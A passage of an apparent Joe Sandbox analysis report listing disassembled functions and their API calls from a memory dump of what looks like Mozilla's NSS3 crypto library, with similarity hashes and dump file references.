Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEECE40

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

Part of subcall function 6CEECEE0: PORT_ArenaMark_Util.NSS3(?,6CEECD93,?), ref: 6CEECEEE
Part of subcall function 6CEECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEECD93,?), ref: 6CEECEFC
Part of subcall function 6CEECEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEECD93,?), ref: 6CEECF0B
Part of subcall function 6CEECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEECD93,?), ref: 6CEECF1D

Part of subcall function 6CEECEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF47
Part of subcall function 6CEECEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF67
Part of subcall function 6CEECEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEECD93,?,?,?,?,?,?,?,?,?,?,?,6CEECD93,?), ref: 6CEECF78

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 1c6f972786c19b1d0ce2537304e606e3759da55de905e3dce98dfbeaa2643449
Instruction ID: eaa424da563b50d08d8ff430165d080dab8ef17d19f5b364cbc023a78aaf79a1
Opcode Fuzzy Hash: 1c6f972786c19b1d0ce2537304e606e3759da55de905e3dce98dfbeaa2643449
Instruction Fuzzy Hash: 7B51A0B6B002009BEB10DF69DC40BAA7BF4AF4C388F350528D95597751EB31ED05CB91

Function 6CEFFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CEFFFE5

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF00004
PR_EnterMonitor.NSS3(?), ref: 6CF0001B

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 0322b5e14e0ff0063f4a9b3a75993a77b5f4e1614778fb9f22f45124eb2fd02e
Instruction ID: e10fb62cb6cd51079ba4da20d043ce2026ad501ea685c27c148baf30b8803e01
Opcode Fuzzy Hash: 0322b5e14e0ff0063f4a9b3a75993a77b5f4e1614778fb9f22f45124eb2fd02e
Instruction Fuzzy Hash: 4F4165727446809BE7308E28DC717AB73A1DB01B08F11053DE45BCAE92E7F9E649E742

Function 6CEBEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CEBEF38

Part of subcall function 6CEA9520: PK11_IsLoggedIn.NSS3(00000000,?,6CED379E,?,00000001,?), ref: 6CEA9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CEBEF53

Part of subcall function 6CEC4C20: TlsGetValue.KERNEL32 ref: 6CEC4C4C
Part of subcall function 6CEC4C20: EnterCriticalSection.KERNEL32(?), ref: 6CEC4C60
Part of subcall function 6CEC4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CA1
Part of subcall function 6CEC4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CBE
Part of subcall function 6CEC4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CD2
Part of subcall function 6CEC4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4D3A

PR_GetCurrentThread.NSS3 ref: 6CEBEF9E

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

free.MOZGLUE(00000000), ref: 6CEBEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEBF016
free.MOZGLUE(00000000), ref: 6CEBF022

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 4a8d8573871fd7096722aadaa893768a017c37bb4b33bc6e294b69b723ae683b
Instruction ID: feb9b9a5ead5933884b32b5392931d28398af7c7dc195d5964424ed9e29f8cd6
Opcode Fuzzy Hash: 4a8d8573871fd7096722aadaa893768a017c37bb4b33bc6e294b69b723ae683b
Instruction Fuzzy Hash: 1941D275E00209AFDF018FA8DD85BEE7BB9AF48348F104029F914B7350EB76C9158BA1

Function 6CEACF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CEACF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CEAD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CEAD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAD025
PR_NewLock.NSS3 ref: 6CEAD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEAD074

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: d6f80438a5734b892acff20c6121b35a11edad89567b17b9f1a3219592fd6777
Instruction ID: 4f623a4d9ec9d3abaadfa3a7714446530244852b9771435c0ddc9b2d1737b46d
Opcode Fuzzy Hash: d6f80438a5734b892acff20c6121b35a11edad89567b17b9f1a3219592fd6777
Instruction Fuzzy Hash: A241BFB8A012018FEB10DFAAC8C478A7BF5EF08318F21416ADC198F746D775D986CB91

Function 6CEF3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEF3FF2

Part of subcall function 6CEE14C0: TlsGetValue.KERNEL32 ref: 6CEE14E0
Part of subcall function 6CEE14C0: EnterCriticalSection.KERNEL32 ref: 6CEE14F5
Part of subcall function 6CEE14C0: PR_Unlock.NSS3 ref: 6CEE150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CEF4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CEF400F

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CEF4054

Part of subcall function 6CE8BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CE8BC24
Part of subcall function 6CE8BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE8BC39
Part of subcall function 6CE8BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CE8BC58
Part of subcall function 6CE8BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CE8BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CEF40CD

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 36c9a70eb11e58ed240f65f51f80d98dac7626828e0625caa2bd226189c3e9cd
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 9831D872E0034197FB009F649D41BBB3374AF9574CF244229ED199B742FB71E99AC292

Function 6CE92E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE82D1A), ref: 6CE92E7E

Part of subcall function 6CEE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE88298,?,?,?,6CE7FCE5,?), ref: 6CEE07BF
Part of subcall function 6CEE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEE07E6
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE081B
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE0825

PR_Now.NSS3 ref: 6CE92EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE92EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE82D1A), ref: 6CE92F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE82D1A), ref: 6CE92F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE92F81

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 3bb0813a148e35b3334bf2297baea51f886020c7db6a1507e187d2ef4363e16e
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 5331047190110087EF20D665DC8EFBE7275EBA131CF744579D42AA7BD0EB31988ACA52

Function 6CE80E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CE80A2C), ref: 6CE80E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CE80A2C), ref: 6CE80E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CE80A2C), ref: 6CE80E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CE80A2C), ref: 6CE80E90
free.MOZGLUE(00000000), ref: 6CE80EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CE80A2C), ref: 6CE80ED9

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: c16442d7c2584e8f34c78a0f4fe7009ed7b76cbbd6a529cd3c74137b16a7e4b9
Instruction ID: 1fa4a20978bb97e4756a1b2185703b5294efb030753696ec31b4e84447201255
Opcode Fuzzy Hash: c16442d7c2584e8f34c78a0f4fe7009ed7b76cbbd6a529cd3c74137b16a7e4b9
Instruction Fuzzy Hash: AD213E72E036845BEF1089699C45B6B72BEDFC274CF390035DC1DA3B12EA60D81582B1

Function 6CE8AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE8AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CE8AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE8AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE8AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CFA9500), ref: 6CE8AF23

Part of subcall function 6CEDF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEDF0C8
Part of subcall function 6CEDF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEDF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8AF37

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 45f3844767773febffe3beb33da52c111442cdb07022053a0c9438a61c122694
Instruction ID: ce1f0aa3210c2da767b8bdbb666bb3ad0cc3e4d5697f54840cfb435cc162dff3
Opcode Fuzzy Hash: 45f3844767773febffe3beb33da52c111442cdb07022053a0c9438a61c122694
Instruction Fuzzy Hash: F2213A72946200ABE7108F189C02B9A7BF4AF8572CF244718FC189B7D1E731D54587A3

Function 6CF0EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF0EE85
realloc.MOZGLUE(81714631,?), ref: 6CF0EEAE
PORT_Alloc_Util.NSS3(?), ref: 6CF0EEC5

Part of subcall function 6CEE0BE0: malloc.MOZGLUE(6CED8D2D,?,00000000,?), ref: 6CEE0BF8
Part of subcall function 6CEE0BE0: TlsGetValue.KERNEL32(6CED8D2D,?,00000000,?), ref: 6CEE0C15

htonl.WSOCK32(?), ref: 6CF0EEE3
htonl.WSOCK32(00000000,?), ref: 6CF0EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CF0EF01

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 74885108e7a6f4b75456a77aef4dea0807e8d671566d2c0f1e28dc9bbb6e1479
Instruction ID: ec83f518b37e267d50fa789532e1edfcadf1226e6d084e5ac09755280f2f4c6d
Opcode Fuzzy Hash: 74885108e7a6f4b75456a77aef4dea0807e8d671566d2c0f1e28dc9bbb6e1479
Instruction Fuzzy Hash: CA21F731A002189FDF109F28DC9079AB7A4EF49758F168169ED599F782E731EC14CBE2

Function 6CEBEE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEBEE49

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CEBEE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CEBEE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CEBEE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEBEEB3

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: f3b461c0c3b4847c8004ef406486d7fba62e68c4b5b9f1dd3d985942e3c6dc14
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 5321C3B6A006106BEB118A58EC81EBB77B8AF4570CF2941A8FD04AB341E671EC1587E1

Function 6CE87F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE87F68

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6CE87F7B

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE87FA7

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CFA919C,?), ref: 6CE87FBB

Part of subcall function 6CEDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFB18D0,?), ref: 6CEDB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE87FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6CFA915C,00000014), ref: 6CE87FFE

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: d5a3c28c58b3487f58e0d89e606f7acceb14fdbcbea5fa84d76e6df1a70fff86
Instruction ID: dd8d1d8a363f3cfc0ca5ff96144dc755d2b17ac2aedd1f8b55e12d84d57fa41d
Opcode Fuzzy Hash: d5a3c28c58b3487f58e0d89e606f7acceb14fdbcbea5fa84d76e6df1a70fff86
Instruction Fuzzy Hash: F2113671E0120457F7109A369C42BBB76F8DF4968CF25062DFC59C6B82FB20E949C2B1

Function 6CE8BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6CF0DC29,?), ref: 6CE8BE64

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6CF0DC29,?), ref: 6CE8BE78

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
